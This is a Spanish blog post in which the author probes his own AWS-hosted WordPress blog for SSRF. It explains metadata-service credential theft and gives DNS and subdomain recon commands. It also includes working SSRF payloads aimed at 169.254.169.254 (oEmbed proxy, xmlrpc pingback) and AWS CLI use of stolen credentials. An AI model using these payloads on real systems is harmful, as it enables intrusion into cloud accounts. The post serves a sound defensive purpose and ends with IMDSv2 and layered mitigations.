Probando vulnerabilidad SSRF en WordPress

Si llevas tiempo trabajando con infraestructura en AWS, probablemente has oído hablar de SSRF. Si no, este post te lo explica con un ejercicio real de reconocimiento contra mi propio blog, paso a paso, usando solo herramientas disponibles en macOS.

Qué es un ataque SSRF

Server-Side Request Forgery (SSRF) es una vulnerabilidad en la que una aplicación web realiza peticiones HTTP hacia URLs que controla el atacante, sin validarlas correctamente. El atacante no ataca el servidor directamente — le dice al servidor que haga una petición por él.

En entornos AWS cloud, esto tiene una consecuencia concreta y grave: si la aplicación vulnerable corre en una instancia EC2, el atacante puede forzarla a consultar el Instance Metadata Service (IMDS), un endpoint HTTP interno accesible únicamente desde dentro de la instancia:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Ese endpoint devuelve las credenciales temporales del IAM role asociado a la instancia. Con esas credenciales, el atacante puede operar en tu cuenta AWS como si fuera la propia instancia.

El flujo de ataque teórico

El laboratorio CloudGoat de Rhino Security Labs tiene un escenario diseñado específicamente para ilustrar este ataque. La cadena completa:

  1. Reconocimiento — identificar una aplicación web en EC2 con un parámetro ?url= que hace peticiones HTTP server-side
  2. Explotar SSRF — apuntar ese parámetro al endpoint de metadatos:
    https://victima.com/app?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  3. Extraer credenciales — el servidor devuelve AccessKeyId, SecretAccessKey y Token del role IAM de la instancia
  4. Movimiento lateral — usar esas credenciales para enumerar Lambda, S3, EC2
  5. Escalada de privilegios — encontrar credenciales de admin en un bucket S3 o en variables de entorno de una Lambda
  6. Compromiso total — operar con acceso administrativo a la cuenta
# Paso 3: extraer credenciales via SSRF
curl "https://victima.com/app?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/rol-nombre"

# Paso 4: usar las credenciales robadas
aws configure --profile robado
aws sts get-caller-identity --profile robado
aws s3 ls --profile robado
aws lambda list-functions --profile robado

IMDSv1 vs IMDSv2: la diferencia que lo cambia todo

El ataque anterior solo funciona con IMDSv1, la versión original del metadata service. En IMDSv1, cualquier petición HTTP desde dentro de la instancia — incluyendo las hechas por una aplicación vulnerable a SSRF — puede consultar el endpoint directamente.

IMDSv2 añade un mecanismo de token obligatorio. Para consultar el metadata service hay que hacer primero un PUT para obtener el token:

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Un SSRF simple no puede ejecutar ese PUT previo — necesita dos peticiones correlacionadas, lo que la mayoría de vulnerabilidades SSRF no pueden hacer. IMDSv2 con http-tokens = required neutraliza el ataque en la mayoría de escenarios.

Verificar el estado en tus instancias:

aws ec2 describe-instances \
  --query 'Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens]' \
  --output table

Si el resultado es required, estás protegido. Si es optional, IMDSv1 sigue activo.

El ejercicio real: reconocimiento contra rubenortiz.es

Vamos a lo práctico. Mi blog corre en AWS así que decidí hacer el ejercicio de reconocimiento completo desde el punto de vista de un atacante externo, sin credenciales, usando solo las herramientas disponibles en macOS.

Paso 1 — Resolución DNS

dig rubenortiz.es
dig www.rubenortiz.es
dig +short any rubenortiz.es

Resultados:

  • rubenortiz.es → 4 IPs del rango 3.160.188.x (CloudFront, TTL 30s)
  • www.rubenortiz.es → 4 IPs del rango 3.174.255.x (CloudFront, TTL 30s)
  • Nameservers: Route 53 (awsdns-*)
  • MX: mx01.dondominio.com — email gestionado por DonDominio, fuera del scope AWS
  • SPF: include:spf.dondominio.com

Conclusión: el origen EC2 está oculto detrás de CloudFront. Solo vemos IPs de edge nodes de AWS, no la IP real del servidor.

Paso 2 — Enumeración de subdominios

brew install subfinder
subfinder -d rubenortiz.es

Subdominios encontrados:

mail.rubenortiz.es      → DonDominio (fuera de scope)
webmail.rubenortiz.es   → DonDominio (fuera de scope)
statics.rubenortiz.es   → CloudFront (mismas IPs que www)
www.rubenortiz.es       → CloudFront

statics.rubenortiz.es es interesante: devuelve un 502 en la raíz pero sirve contenido bajo /wp-content/uploads/*. Es una distribución CloudFront con origen S3 para los assets de WordPress. El 502 en la raíz no es riesgo de seguridad — confirma que el acceso directo al bucket está bloqueado y solo se puede acceder via paths específicos.

Paso 3 — Fingerprinting del servidor

curl -I https://www.rubenortiz.es
curl -s https://www.rubenortiz.es | grep -i "generator\|wp-content\|wp-includes"
curl -s https://www.rubenortiz.es/readme.html
curl -o /dev/null -w "%{http_code}" https://www.rubenortiz.es/wp-login.php

Hallazgos:

ElementoResultadoValoración
server: nginxnginx expuesto en headersInformativo
<meta name="generator" content="WordPress 6.8">Versión WP expuestaPendiente de corregir
Flatsome 3.20.5 en paths de assetsVersión tema expuestaMenor
Autoptimize 3.1.13 en paths de assetsVersión plugin expuestaMenor
readme.html403Bien protegido
wp-login.php404Bien protegido (nginx)
PHP versionNo expuestaCorrecto

El header link: <https://www.rubenortiz.es/wp-json/>; rel="https://api.w.org/" presente en todas las respuestas confirma WordPress sin necesidad de cargar el HTML. Es un comportamiento nativo de WordPress difícil de eliminar completamente.

El hallazgo más accionable: el meta generator tag expone la versión exacta de WordPress. Un atacante puede cruzarla con bases de datos de CVEs para identificar vulnerabilidades específicas. Se corrige con una línea en functions.php:

remove_action('wp_head', 'wp_generator');

Paso 4 — Búsqueda del origen real

Tres métodos para intentar encontrar la IP detrás de CloudFront:

Certificate Transparency logs (crt.sh):

curl -s "https://crt.sh/?q=rubenortiz.es&output=json" | python3 -m json.tool | grep name_value

El historial de certificados revela la evolución de la infraestructura:

  • 2016–2018: Cloudflare (sni188968.cloudflaressl.com)
  • 2018+: AWS CloudFront (certificados Amazon RSA)

No aparece ningún *.elasticbeanstalk.com — el origen nunca se expuso vía certificado SSL.

Headers de respuesta CloudFront:

curl -si https://www.rubenortiz.es | grep -i "x-forwarded\|origin\|beanstalk\|x-backend\|x-real"

Sin fuga de headers de origen. CloudFront filtra correctamente.

Conclusión: la IP del origen es inaccesible desde fuera. Sin ella, un escaneo de puertos no tiene sentido.

Paso 5 — Vectores SSRF en WordPress

Con el origen oculto, la única vía para llegar al IMDS desde fuera sería explotar un vector SSRF en la propia aplicación WordPress. Los tres vectores conocidos:

# oEmbed proxy apuntando al IMDS
curl -s "https://www.rubenortiz.es/wp-json/oembed/1.0/proxy?url=http://169.254.169.254/latest/meta-data/"

# REST API fetch endpoint
curl -s "https://www.rubenortiz.es/wp-json/wp/v2/oembed-proxy?url=http://169.254.169.254/"

# Pingback SSRF via xmlrpc
curl -s -X POST https://www.rubenortiz.es/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param><param><value><string>https://www.rubenortiz.es/</string></value></param></params></methodCall>'

Resultados:

VectorRespuestaBloqueado por
oEmbed proxyRestricted (plugin)REST API Auth
wp/v2/oembed-proxy404No existe
xmlrpc pingback403nginx

Ningún vector de SSRF es explotable desde fuera sin credenciales.

Resumen de hallazgos

SeveridadHallazgoEstado
MediaWordPress 6.8 expuesto via meta generatorPendiente — fix en functions.php
BajaVersión Flatsome y Autoptimize en paths de assetsAsumido
InfoCMS WordPress identificable via link headerEstructural
InfoHistoria de infraestructura visible en CT logsInformativo

Por qué no funcionó el ataque

La infraestructura tiene tres capas de defensa que bloquean el vector SSRF de forma independiente:

  1. nginx bloquea xmlrpc.php y wp-login.php directamente, antes de que lleguen a PHP
  2. Plugin de autenticación REST API bloquea todos los endpoints de la REST API a usuarios no autenticados, incluido el oEmbed proxy
  3. CloudFront oculta completamente el origen — sin IP del servidor, no hay superficie de ataque directa

Adicionalmente, si IMDSv2 está forzado en la instancia Beanstalk (http-tokens = required), incluso si un atacante encontrara un vector SSRF, no podría completar el ataque porque necesitaría el PUT previo para obtener el token.

Conclusión

SSRF en AWS es una vulnerabilidad de alto impacto cuando se dan las condiciones: aplicación con parámetro URL no validado + instancia EC2 con IMDSv1 + role IAM con permisos amplios. La combinación de esos tres factores convierte una vulnerabilidad de aplicación en un compromiso de cuenta cloud.

La defensa no depende de un único control sino de capas: IMDSv2 obligatorio, validación de URLs en la aplicación, principio de mínimo privilegio en roles IAM, y protección perimetral del servidor (nginx, WAF). Ninguna capa por sí sola es suficiente — la combinación de todas hace el ataque inviable.

Links

¿Te ha ayudado este artículo?

Invítame a un café

Leave a Reply

Your email address will not be published. Required fields are marked *